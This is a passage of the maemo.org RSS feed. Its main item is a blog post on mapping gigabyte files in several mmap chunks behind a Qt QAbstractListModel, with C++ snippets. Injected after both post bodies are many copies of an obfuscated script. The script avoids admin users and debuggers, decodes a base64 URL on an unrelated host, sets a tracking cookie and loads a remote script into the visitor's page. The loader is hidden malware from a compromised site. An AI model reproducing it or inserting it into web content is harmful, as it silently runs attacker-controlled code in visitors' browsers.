key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e6ef0f986c4560ef0f11e6be3a3ffba1fdb996b996&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e6ef0f986c4560ef0f11e6be3a3ffba1fdb996b996/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e6ef0f986c4560ef0f11e6be3a3ffba1fdb996b996&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e6ef0f986c4560ef0f11e6be3a3ffba1fdb996b996/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 09 Feb 2017 20:07:42 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e6ef0f986c4560ef0f11e6be3a3ffba1fdb996b996</guid>
        </item>
        <item>
            <title>Truly huge files and the problem of continuous virtual address space</title>
            <link>https://pvanhoof.be/blog/index.php/2016/07/28/truly-huge-files-and-the-problem-of-continuous-virtual-address-space</link>
            <description><![CDATA[
<p>As we all know does mmap, or even worse on Windows CreateFileMapping, need contiguous virtual address space for a given mapping size. That can become a problem when you want to <a href="http://pvanhoof.be/blog/index.php/2016/07/26/loading-truly-truly-huge-text-files-with-a-qabstractlistmodel">load a file of a gigabyte with mmap</a>.</p>
<p>The solution is of course to mmap the big file using multiple mappings. For example like adapting yesterday&#8217;s demo this way:</p>
<pre>
void FileModel::setFileName(const QString &fileName)
{
    ...
    if (m_file->open(QIODevice::ReadOnly)) {
        if (m_file->size() > MAX_MAP_SIZE) {
            m_mapSize = MAX_MAP_SIZE;
            m_file_maps.resize(1 + m_file->size() / MAX_MAP_SIZE, nullptr);
        } else {
            m_mapSize = static_cast<unsigned int>(m_file->size());
            m_file_maps.resize(1, nullptr);
        }
        ...
    } else {
        m_index->open(QFile::ReadOnly);
        m_rowCount = m_index->size() / 4;
    }
    m_file_maps[0] = m_file->map(0, m_mapSize, QFileDevice::NoOptions);
    qDebug() << "Done loading " << m_rowCount << " lines";
    map_index = m_index->map(0, m_index->size(), QFileDevice::NoOptions);

    beginResetModel();
    endResetModel();
    emit fileNameChanged();
}
</pre>
<p>And in the data() function:</p>
<pre>
QVariant FileModel::data( const QModelIndex& index, int role ) const
{
    QVariant ret;
    ...
    quint32 mapIndex = pos_i / MAX_MAP_SIZE;
    quint32 map_pos_i = pos_i % MAX_MAP_SIZE;
    quint32 map_end_i = end_i % MAX_MAP_SIZE;
    uchar* map_file = m_file_maps[mapIndex];
    if (map_file == nullptr)
        map_file = m_file_maps[mapIndex] = m_file->map(mapIndex * m_mapSize, m_mapSize, QFileDevice::NoOptions);
    position = m_file_maps[mapIndex] + map_pos_i;
    if (position) {
            const int length = static_cast<int>(end_i - pos_i);
            char *buffer = (char*) alloca(length+1);
            if (map_end_i >= map_pos_i)
                strncpy (buffer, (char*) position, length);
            else {
                const uchar *position2 = m_file_maps[mapIndex+1];
                if (position2 == nullptr) {
                    position2 = m_file_maps[mapIndex+1] = m_file->map((mapIndex+1) *
                         m_mapSize, m_mapSize, QFileDevice::NoOptions);
                }
                strncpy (buffer, (char*) position, MAX_MAP_SIZE - map_pos_i);
                strncpy (buffer + (MAX_MAP_SIZE - map_pos_i), (char*) position2, map_end_i);
            }
            buffer[length] = 0;
            ret = QVariant(QString(buffer));
        }
    }
    return ret;
}
</pre>
<p>You could also not use mmap for the very big source text file and use m_file.seek(map_pos_i) and m_file.read(buffer, length). The most important mapping is of course the index one, as the reading of the individual lines can also be done fast enough with normal read() calls (as long as you don&#8217;t have to do it for each and every line of the very big file and as long as you know in a O(1) way where the QAbstractListModel&#8217;s index.row()&#8217;s data is).</p>
<p>But you already knew that. Right? <script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e654c67da30b4454c611e68bd74dfd9edb84638463&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e654c67da30b4454c611e68bd74dfd9edb84638463/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e654c67da30b4454c611e68bd74dfd9edb84638463&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e654c67da30b4454c611e68bd74dfd9edb84638463/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 28 Jul 2016 12:42:26 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e654c67da30b4454c611e68bd74dfd9edb84638463</guid>
        </item>
    </channel>
</rss>
